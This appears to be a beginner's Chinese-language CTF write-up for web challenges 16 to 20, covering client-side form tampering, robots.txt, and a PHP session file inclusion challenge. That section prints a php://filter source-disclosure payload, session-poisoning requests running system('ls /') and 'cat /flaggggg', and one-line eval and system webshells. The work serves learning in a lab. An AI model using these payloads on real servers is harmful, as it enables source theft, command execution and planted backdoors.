目录
十六.签到题
十七.签到
十八.session文件包含
PHP 伪协议(PHP Stream Wrappers)
base64加解密获取源代码
Session文件包含
Shell 是什么?
十九.Don't touch me
二十.robots
robots.txt
十六.签到题
把didi=no改成didi=yes
得到一串字符串
Li9kYXRhL2luZGV4LnBocA
base64在线解码网站解码得到./data/index.php
访问/data/index.php得到
/data/index.php?file=php://filter/convert.base64-encode/resource=..././..././..././..././flag
base64解码
flag{92eb5ffee6ae2fec3ad71c777531578f}
十七.签到
发现有个按钮按不了
F12(右键点击检查),把disabled="disabled" 删除,回车
随便提交个东西试试
这时候弹出一个弹窗告诉我们提交 ilovejljcxy 就能得到flag了
但是提交的时候发现只能输入就个字母
查看源代码
长度限制:maxlength="9"
对用户的输入进行了限制,用户最多只能输入 9 个字符
把9改成11以上就行
输入后再次提交,弹出flag
flag{fa3f77dd58a0a8f990bb6292da75618f}
十八.session文件包含
我觉得这题老难了
先随便输入一个1,然后submit看看
先看知识点
PHP 伪协议(PHP Stream Wrappers)
是 PHP 提供的一组特殊协议前缀,允许通过类似 URL 的方式访问和操作不同类型的资源(如文件、数据流、网络等)。它们无需额外安装,直接内置于 PHP 中,常用于简化对非传统文件系统的操作。
示例:使用
php://filter
读取文件并编码假设我们有一个文件
secrets.txt
,内容如下:# secrets.txt 数据库密码:123456 API 密钥:abcdefghijklmnopqrstuvwxyz
需求:读取该文件内容,并以 Base64 编码形式输出。
方法 1:传统方式(需手动编码)
<?php // 读取文件内容 $content = file_get_contents('secrets.txt'); // 手动 Base64 编码 $encoded = base64_encode($content); echo $encoded; ?>
方法 2:使用伪协议(自动编码)
<?php // 使用 php://filter 伪协议直接获取编码后的内容 $encoded = file_get_contents('php://filter/convert.base64-encode/resource=secrets.txt'); echo $encoded; ?>
解码验证:
将上述 Base64 字符串复制到 Base64 解码器,得到原始内容:
# secrets.txt数据库密码:123456 API 密钥:abcdefghijklmnopqrstuvwxyz
为什么要用base64加密再解密嘞?
看下面知识点:
base64加解密获取源代码
php://filter/convert.base64-encode/resource=目标文件路径
在利用 PHP 伪协议读取文件时,使用 Base64 编码而非直接读取的主要原因是绕过 PHP 解释器对代码的执行,并确保文件内容完整传输。以下是详细示例:
1. 直接读取的问题:PHP 会执行代码
假设
action.php
包含以下内容:<?php // action.php echo "Hello from PHP!"; $password = "secret123"; ?>
如果直接通过文件包含漏洞读取(例如
?file=action.php
),PHP 解释器会执行代码而非返回源码:
- 输出结果:
Hello from PHP!
- 源码丢失:
$password = "secret123";
等代码不会显示,攻击者无法获取敏感信息。2. Base64 编码的作用:获取完整源码
使用
php://filter/convert.base64-encode
后:
- 输出结果:
PD9waHANCg8Ly8gYWN0aW9uLnBocA0KZWNobyAiSGVsbG8gZnJvbSBIUEgiOw0KJHBhc3N3b3JkID0gInNlY3JldDEyMyI7DQo/Pg==
- 解码后:
<?php // action.php echo "Hello from PHP!"; $password = "secret123"; ?>
核心原理:
Base64 编码将 PHP 代码(如<?php ... ?>
)转换为纯文本字符串,PHP 解释器会将其视为普通文本而非可执行代码,从而完整保留源码内容。
所以我们用php伪协议查看action.php的源代码
访问 /action.php?file=php://filter/convert.base64-encode/resource=action.php
得到源码
PD9waHANCnNlc3Npb25fc3RhcnQoKTsNCmVycm9yX3JlcG9ydGluZygwKTsNCiRuYW1lID0gJF9QT1NUWyduYW1lJ107DQppZigkbmFtZSl7DQoJJF9TRVNTSU9OWyJ1c2VybmFtZSJdID0gJG5hbWU7DQp9DQppbmNsdWRlKCRfR0VUWydmaWxlJ10pOw0KPz4NCjwhRE9DVFlQRSBodG1sPg0KPGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KPGEgaHJlZj1hY3Rpb24ucGhwP2ZpbGU9MS50eHQ+bXkgZGFpcnk8L2E+DQo8YSBocmVmPWFjdGlvbi5waHA/ZmlsZT0yLnR4dD5teSBib29rbGlzdDwvYT4NCjwvYm9keT4NCjwvaHRtbD4=
Base64 编码/解码 - 锤子在线工具解码查看源代码
<?php
session_start();
error_reporting(0);
$name = $_POST['name'];
if($name){$_SESSION["username"] = $name;
}
include($_GET['file']);
?>
<!DOCTYPE html>
<html>
<head>
</head>
<body>
<a href=action.php?file=1.txt>my dairy</a>
<a href=action.php?file=2.txt>my booklist</a>
</body>
</html>
开始分析源代码
这段 PHP 代码实现了一个简单的会话管理和文件包含功能。当用户通过 POST 方法提交表单时,脚本会将用户名存入会话变量$_SESSION["username"]
中。页面提供了两个链接,分别指向1.txt
和2.txt
文件,用户点击后,脚本会通过include
语句动态加载并执行 URL 参数file
指定的文件内容。然而,该代码存在严重的安全隐患,因未过滤file
参数存在目录遍历 / 远程文件包含漏洞,且未处理name
参数导致 PHP 代码注入攻击。
知识点
Session文件包含
是一种常见的安全漏洞,它允许攻击者通过包含恶意代码的Session文件来执行代码。
利用Session文件包含的条件
要利用Session文件包含漏洞,需要满足两个条件:
Session文件的内容可控,即攻击者可以通过某种方式将恶意代码写入Session文件中。
能够获取Session文件的路径,这样才能通过文件包含函数来执行Session文件中的代码。
条件1可以通过name实现,条件2这题只能靠猜
在默认配置下,PHP 的 session 文件存储位置通常存放在 /tmp
目录,文件名格式为 sess_<sessionid>
<sessionid>可以在cookie里看
因此直接访问
/action.php/?file=/tmp/sess_khhpgb61isvcak15o84n6e8sl7
哎哎,有反应,进入session文件了
接下来有2个方法拿到flag
方法一:PHP 代码注入攻击
用post请求发送 name=<?php system('ls');?> (没反应的话多点几次Execute刷新一下)
没看到flag文件,加个/进入根目录查看
/
:根目录,表示整个文件系统的顶层。
name=<?php system('ls /');?>
这时看到了flaggggg文件,查看该文件
name=<?php system('sort /flaggggg ');?>
name=<?php system('cat /flaggggg ');?>
name=<?php system('tac /flaggggg ');?>
参数解析:
1.
sort
命令的作用
sort
是 Linux/Unix 系统中的命令,用于对文本内容进行排序并输出结果。常见用法:
- 对文件内容按行排序:
sort filename
- 去重并排序:
sort -u filename
- 逆序排序:
sort -r filename
2./flaggggg
指根目录下名为flaggggg
的文件。
这时就有个问题了:为什么要进入session文件后再用PHP 代码注入攻击
要理解为什么需要进入 session 文件后才能使用
name=<?php system('ls /');?>
,需要结合session 文件的特性和文件包含漏洞的利用逻辑,具体原因如下:1.
name=<?php ... ?>
是向 session 文件写入代码的操作
name=<?php system('ls /');?>
本质是通过 HTTP 请求(通常是 POST/GET)向服务器的session 文件中写入一段 PHP 代码(这里是执行系统命令的system('ls /')
)。
- 当用户在页面输入
name
参数并提交时,服务器会将该参数的值存储到当前用户的 session 文件中(session 文件的命名规则为sess_+sessionid
,如sess_khhpgb61isvcak15o84n6e8sl7
)。- 这段代码本身不会直接执行,而是作为字符串被暂时存储在 session 文件中。
2. session 文件是代码执行的 "载体"
要让
<?php system('ls /');?>
这段代码生效(即执行ls /
命令),需要通过文件包含漏洞让服务器解析并执行 session 文件中的内容。
- 漏洞场景中,服务器存在
?file=xxx
形式的文件包含漏洞(如[web]session文件包含
考点),即通过file
参数可以让服务器读取并解析指定文件中的 PHP 代码。- 但服务器不会主动解析任意文件,只有当通过
?file=session文件路径
(如?file=/tmp/sess_iicon09s8aj9rhenj3rn6lhqj2
)指定包含 session 文件时,服务器才会读取该文件内容,并将其中的 PHP 代码(即之前写入的system('ls /')
)当作脚本执行。3. 不进入 session 文件则无法触发代码执行
如果不通过文件包含漏洞 "进入"(即包含)session 文件,那么:
- 写入的
<?php system('ls /');?>
只是 session 文件中存储的一段普通字符串,不会被服务器解析为 PHP 代码,自然无法执行命令。- 只有当利用文件包含漏洞指定加载该 session 文件(即
?file=session文件路径
),服务器才会将文件内容作为 PHP 脚本处理,此时其中的system('ls /')
才会被执行。总结
name=<?php system('ls /');?>
的作用是向 session 文件写入可执行的 PHP 代码,而必须 "进入"(包含)session 文件,才能让服务器解析这段代码并执行命令。二者结合利用了session 的存储机制和文件包含漏洞的解析特性,最终实现命令执行。
方法二 :传木马连蚁剑
关于session文件包含,指的是有时Web系统会把我们的一些变量写入session文件,我们可以借此机制将PHP木马写入PHP文件中,然后使用文件包含来包含该session文件,以此获取目标系统的shell权限。
这种攻击方式的好处在于,可以利用保存在session中的数据;这种攻击方式的前提在于我们可以准确的找到session文件的存储目录。
发送POST请求(多点几次Execute刷新一下)
name=<?php @eval($_POST['a']);?>
蚁剑连接shell
知识点
Shell 是什么?
Shell 是一种允许用户与操作系统交互的程序,也指攻击者通过漏洞获得的远程执行权限。在渗透测试中,通常分为两种:
WebShell:
攻击者上传到目标服务器的脚本文件(如 PHP、ASPX、JSP),通过 HTTP 请求执行系统命令。
示例(PHP WebShell):<?php system($_GET['cmd']); ?> // 接收URL参数cmd并执行系统命令
访问方式:
http://target.com/shell.php?cmd=ls
反弹 Shell:
目标服务器主动连接攻击者的主机,建立交互式命令行会话(如 Linux 的bash
、Windows 的cmd
)。
连接成功,寻找flag
flag{43306e8113f53ece238c0a124432ce19}
十九.Don't touch me
这题也很简单
方法一:
F12(右键查看源码)可以看到:
访问/2.php
可以看到这有个按钮,却点不了
F12(右键检查),把disabled="disabled"都删了,回车,点击按钮
可以看到最后有fla.php,访问/fla.php,得到flag
方法二:
直接用目录扫描工具扫出来
flag{0cee5a97f12b172ceeea2e9f67b7413e}
二十.robots
这题非常简单
robots.txt
是一个位于网站根目录下的纯文本文件,用于告诉搜索引擎爬虫(如 Googlebot、百度蜘蛛等)哪些页面可以抓取,哪些页面不应该抓取,是网站与搜索引擎之间的 “协议”。
直接访问/robots.txt就行
发现有个文件/fl0g.php,访问得到flag
flag{2f37589152daf6f111b232ef4aea1304}
Day6:
今天练了一个靶机,对于我这个新手小白来说还是挺难的,看讲解视频都看了老半天
累了......还有一题明天再写